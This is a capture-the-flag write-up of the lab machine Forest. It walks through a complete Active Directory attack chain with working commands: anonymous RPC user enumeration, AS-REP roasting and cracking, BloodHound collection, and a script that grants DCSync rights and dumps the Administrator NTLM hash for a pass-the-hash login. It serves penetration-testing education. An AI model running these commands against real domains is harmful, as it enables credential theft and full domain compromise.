Myles Nieman
← All writeups

Forest

Overview

Forest is an easy Windows Active Directory box. The domain controller allows anonymous RPC and LDAP access, which leaks enough to enumerate all domain users. One of them — svc-alfresco — has Kerberos pre-authentication disabled, making it AS-REP Roastable. The cracked password unlocks BloodHound collection, which reveals that svc-alfresco has a path to DCSync rights through the Exchange Windows Permissions group. Adding the account to that group, writing DCSync rights via dacledit.py, and running secretsdump.py dumps the Administrator NTLM hash for a pass-the-hash login via Evil-WinRM.

Path: anonymous RPC enum → AS-REP Roast svc-alfresco → BloodHound → Exchange Windows Permissions → WriteDACL → DCSync → pass-the-hash → root.

Enumeration

A full port scan confirms a Windows Server 2016 domain controller (FOREST.htb.local):

$ nmap 10.10.10.161 -p- -A
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf       .NET Message Framing
Service Info: Host: FOREST; OS: Windows

Nmap confirming Forest as a Windows Server 2016 domain controller for htb.local

Domain: htb.local, FQDN: FOREST.htb.local. WinRM on 5985 is notable for later access.

Anonymous LDAP bind succeeds but returns no user data. Anonymous SMB connects but lists no shares. RPC, however, is more generous:

$ rpcclient htb.local -U '%'
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
...

rpcclient enumdomusers listing all domain users

Extracting the usernames from that output:

$ grep -oP 'user:\[\K[^\]]+' rpclist

Foothold — AS-REP Roasting

With a full user list and no credentials, AS-REP Roasting is the natural next step: any account with pre-authentication disabled will return an encrypted TGT fragment that can be cracked offline. GetNPUsers.py can query the DC with no credentials and automatically identify vulnerable accounts:

$ GetNPUsers.py -dc-ip 10.10.10.161 -request htb.local/ -format hashcat -outputfile hashes

GetNPUsers.py returning an AS-REP hash for svc-alfresco

svc-alfresco has pre-auth disabled. Cracking the hash against rockyou.txt:

$ hashcat -m 18200 hashes /tools/SecLists/Passwords/Leaked-Databases/rockyou.txt

Hashcat cracking the svc-alfresco AS-REP hash to s3rvice

Recovered credentials: svc-alfresco:s3rvice

User

With valid credentials, Evil-WinRM (WinRM is open on 5985) gives us an interactive shell as svc-alfresco. The user flag is on that account’s desktop.

Privilege Escalation — BloodHound → DCSync via Exchange Windows Permissions

Running BloodHound collection with the new credentials:

$ python3 ./bloodhound.py -u svc-alfresco -p "s3rvice" -d htb.local -c All --zip -ns 10.10.10.161

BloodHound collection running as svc-alfresco

Loading the data into BloodHound and marking svc-alfresco as owned reveals the attack path:

BloodHound graph showing svc-alfresco’s position in the domain

BloodHound showing the path from svc-alfresco to Domain Admin via Exchange Windows Permissions

The path is:

  1. Add svc-alfresco to the Exchange Windows Permissions group (the account already has the right to do this).
  2. The group has WriteDACL on the domain object, so we can grant ourselves DCSync rights.
  3. DCSync the Administrator hash.

Scripting all three steps:

#!/bin/bash

net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" \
    -U 'HTB.LOCAL/svc-alfresco%s3rvice' -S 10.10.10.161

dacledit.py -action 'write' -rights 'DCSync' -principal 'svc-alfresco' \
    -target-dn 'DC=htb,DC=local' 'htb.local'/'svc-alfresco':'s3rvice' \
    -dc-ip 10.10.10.161

secretsdump.py htb.local/svc-alfresco:s3rvice@htb.local -just-dc-user Administrator

Running the script produces:

[*] DACL backed up to dacledit-20250823-163125.bak
[*] DACL modified successfully!
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

Root

Pass the Administrator NTLM hash directly into Evil-WinRM:

$ evil-winrm -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -i htb.local

Domain admin. Root flag is on the Administrator desktop.

Takeaways

  • Anonymous RPC enumdomusers is often overlooked but can hand over the entire domain user list without any credentials — essential for building an AS-REP Roast target list.
  • Exchange Windows Permissions + WriteDACL → DCSync is a classic Forest-era misconfiguration: the Exchange installation grants that security group WriteDACL on the domain object, and any member can promote themselves to DCSync. BloodHound makes this path immediately obvious.